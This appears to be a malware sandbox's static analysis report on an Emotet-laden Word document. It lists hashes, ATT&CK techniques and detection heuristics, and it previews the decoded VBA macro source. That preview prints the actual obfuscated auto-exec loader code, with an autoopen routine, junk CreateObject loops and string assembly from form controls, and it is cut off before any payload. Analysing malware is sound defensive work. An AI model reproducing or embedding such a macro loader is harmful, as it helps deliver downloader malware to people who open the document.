Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 773755f3164a3399…

MALICIOUS

Office (OLE)

140.1 KB Created: 2019-05-15 14:15:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: c10f264d5754ece97d5723b0c4b7cc85 SHA-1: bfa74e34d634486d1bbacc1c8e81e9ac989ad77d SHA-256: 773755f3164a339938ccb87bd223515247a372db0b400677b7a0a11709b4e070
382 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Code T1059 Command and Scripting Interpreter

The sample contains heavily obfuscated VBA macros with an auto-executing loader. Heuristics indicate the use of CreateObject and WMI to launch processes, a common technique for downloading and executing secondary payloads. ClamAV detection explicitly names Emotet, a known downloader family.

Heuristics 10

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9245 bytes
SHA-256: b5ba0c84486d718de2867792a98e326ada0ca74cf7d20bc733e325032540831d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "v401466"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "l_05133, 0, 0, MSForms, TextBox"
Attribute VB_Control = "z4339_15, 1, 1, MSForms, TextBox"
Attribute VB_Control = "F8375214, 2, 2, MSForms, TextBox"
Attribute VB_Control = "J27806, 3, 3, MSForms, TextBox"
Attribute VB_Control = "o01_4_3, 4, 4, MSForms, TextBox"
Attribute VB_Control = "D09392, 5, 5, MSForms, TextBox"

Attribute VB_Name = "q3_6353"

Attribute VB_Name = "T70790"

Attribute VB_Name = "i60777"

Attribute VB_Name = "I073564_"
Function L319461(Y8_630)
   While c616274 And l360_5_
            CreateObject ("O4_407")
            CreateObject ("u69944")
            CreateObject ("68151901")
            CreateObject ("565725348")
            CreateObject ("z_70_091")
Wend
   While B4663962 And q7948598
            CreateObject ("q28558_")
            CreateObject ("T53139")
            CreateObject ("652255230")
            CreateObject ("906837517")
            CreateObject ("O_60440")
Wend
Set L319461 = CVar(Y8_630)
   While J528925 And w63052
            CreateObject ("m82733")
            CreateObject ("o86_60")
            CreateObject ("103521459")
            CreateObject ("48834388")
            CreateObject ("i330570")
Wend
   While n03195 And I300948
            CreateObject ("t6639732")
            CreateObject ("L00177")
            CreateObject ("716292943")
            CreateObject ("863093937")
            CreateObject ("O231552")
Wend
   While w52997 And Z12846
            CreateObject ("o59192_")
            CreateObject ("o53320_3")
            CreateObject ("302259157")
            CreateObject ("526365172")
            CreateObject ("w4387414")
Wend
End Function
Sub _
 _
 _
autoopen()
On Error Resume Next
   While R61677 And J3302583
            CreateObject ("a92888")
            CreateObject ("c523091")
            CreateObject ("188195044")
            CreateObject ("434073327")
            CreateObject ("t66655")
Wend
   While A677204 And p35_993
            CreateObject ("q44734")
            CreateObject ("X21366")
            CreateObject ("1791137")
            CreateObject ("916319390")
            CreateObject ("r216784")
Wend
t_559653
   While j70244 And W282438
            CreateObject ("A450060")
            CreateObject ("P9320545")
            CreateObject ("434551534")
            CreateObject ("153798762")
            CreateObject ("H1611_")
Wend
   While v481_4 And B241972
            CreateObject ("t9242_28")
            CreateObject ("z85886")
            CreateObject ("360130359")
            CreateObject ("267640258")
            CreateObject ("m_05_903")
Wend
   While h9156_85 And h35244_
            CreateObject ("z82630")
            CreateObject ("I__0_0")
            CreateObject ("246010508")
            CreateObject ("261622307")
            CreateObject ("u_419863")
Wend
End Sub


Attribute VB_Name = "Q6094626"
Function t_559653()
On Error Resume Next
   While R68_06 And E23593
            CreateObject ("b925804")
            CreateObject ("Q418981")
            CreateObject ("266291697")
            CreateObject ("267784320")
            CreateObject ("s49470")
Wend
   While P770397 And a789914
            CreateObject ("u42437")
            CreateObject ("I58724")
            CreateObject ("59747307")
            CreateObject ("9726561")
            CreateObject ("h0585155")
Wend
i419778 = v401466.D09392 + v401466.z4339_15 + v401466.D09392 + v401466.F8375214 + v401466.D09392 + v401466.D09392 + v401466.J27806 + v401466.D09392 + v401466.D09392 + v401466.o01_4_3 + v401466.D09392 + v401466.l_05133 + v401466.D09392
   While X42742 And Y228018
            CreateObject ("r17711_")
            CreateObject ("h42974")
            CreateObject ("
... (truncated)

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